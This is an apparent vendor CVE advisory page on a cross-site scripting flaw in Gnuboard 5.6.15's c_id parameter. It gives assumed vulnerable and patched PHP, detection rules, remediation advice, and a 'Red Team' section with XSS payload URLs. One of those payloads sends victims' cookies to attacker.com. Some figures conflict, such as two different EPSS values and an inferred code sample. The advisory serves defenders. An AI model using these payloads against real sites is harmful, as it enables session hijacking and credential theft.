☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-60859

CVE-2025-60859 Cross-Site Scripting in Gnuboard
📅 PUBLISHED: 2025-10-23 00:00 UTC 🔄 UPDATED: 2026-09-23 20:40 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.26%
👁️
0.26% probability
6.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-60859 is a Cross-Site Scripting (XSS) vulnerability identified in Gnuboard version 5.6.15. This flaw allows an authenticated attacker to inject arbitrary web scripts or HTML via the c_id parameter in the bbs/view_comment.php script. Successful exploitation could lead to session hijacking, credential theft, or defacement of the application. The vulnerability is currently unpatched, and no public proof-of-concept or exploit code has been released. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability type (XSS) and the requirement for authentication, a reasonable CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): Low (L) – requires authenticated user
  • User Interaction (UI): Required (R) – victim must view the crafted comment
  • Scope (S): Changed (C) – impact may extend beyond the vulnerable component
  • Confidentiality (C): Low (L)
  • Integrity (I): Low (L)
  • Availability (A): None (N)

Estimated CVSS Score: 5.4 (Medium)

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the potential for session hijacking and data theft remains significant.

Deep Dive & Mechanics

The vulnerability resides in the bbs/view_comment.php script of Gnuboard 5.6.15. The c_id parameter is not properly sanitized or encoded before being rendered in the HTML output. An authenticated attacker can craft a malicious URL containing JavaScript payloads in the c_id parameter. When a victim (including other authenticated users) visits the crafted URL, the injected script executes in the context of the victim's session.

Root Cause: Lack of output encoding or input validation for the c_id parameter. The application likely echoes the parameter value directly into the HTML without using functions like htmlspecialchars() or equivalent.

Attack Flow:

  1. Attacker logs in to Gnuboard.
  2. Attacker crafts a URL: https://target.com/bbs/view_comment.php?c_id=<script>alert('XSS')</script>
  3. Attacker sends this link to a victim (e.g., via email or social engineering).
  4. Victim, authenticated to Gnuboard, clicks the link.
  5. The injected script executes, potentially stealing cookies, redirecting to a malicious site, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be:

Vulnerable (PHP):

<?php
$c_id = $_GET['c_id'];
echo "<div id='comment_$c_id'>";
?>

Patched (PHP):

<?php
$c_id = htmlspecialchars($_GET['c_id'], ENT_QUOTES, 'UTF-8');
echo "<div id='comment_$c_id'>";
?>

The patched version uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Gnuboard 5.6.15 installed and accessible.
  • Valid user credentials (any authenticated user).

Exploitation Steps:

  1. Log in to Gnuboard.
  2. Craft a malicious URL with a JavaScript payload in the c_id parameter:
    http://target.com/bbs/view_comment.php?c_id=<script>alert(document.cookie)</script>
    
  3. Send the link to a victim via social engineering.
  4. When the victim clicks the link, the script executes, displaying their cookies.

Advanced Payload (Session Hijacking):

http://target.com/bbs/view_comment.php?c_id=<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team

Detection:

  • Monitor web server logs for requests to bbs/view_comment.php with suspicious c_id parameters containing <script> tags or encoded JavaScript.
  • Use WAF rules to block requests with XSS patterns in the c_id parameter.

Mitigation:

  • Apply input validation and output encoding for all user-supplied parameters.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Educate users about phishing links.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /bbs/view_comment.php with c_id containing <script> tags.
    • Outbound connections to attacker-controlled domains from the Gnuboard server.
  • File IOCs:
    • Modified bbs/view_comment.php file (if attacker uploads a backdoor).
  • Log IOCs:
    • Web server logs showing c_id parameter with JavaScript payloads.

Detection Engineering

YARA Rule

rule CVE_2025_60859_XSS {
    meta:
        description = "Detects XSS attempts targeting CVE-2025-60859 in Gnuboard"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60859"
    strings:
        $xss_payload = /c_id=.*<script[^>]*>.*<\/script>/i
        $xss_encoded = /c_id=.*%3Cscript%3E.*%3C\/script%3E/i
    condition:
        any of them
}

Sigma Rule

title: Gnuboard XSS via c_id Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts in Gnuboard view_comment.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query:
            - '*c_id=<script*'
            - '*c_id=%3Cscript%3E*'
    condition: selection
falsepositives:
    - Legitimate use of script tags in comments (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60859 Gnuboard XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/bbs/view_comment.php"; http_uri; content:"c_id="; http_uri; pcre:"/c_id=.*<script[^>]*>.*<\/script>/iU"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable functionality if possible, by removing or restricting access to bbs/view_comment.php.
  2. Apply input validation to the c_id parameter: allow only alphanumeric characters and underscores.
  3. Implement output encoding using htmlspecialchars() or equivalent in PHP.

Long-term Fix:

  • Upgrade to a patched version of Gnuboard once available.
  • Conduct a full security audit of the application for similar vulnerabilities.

Workaround:

  • Use a Web Application Firewall (WAF) to block XSS patterns in the c_id parameter.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-60859/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.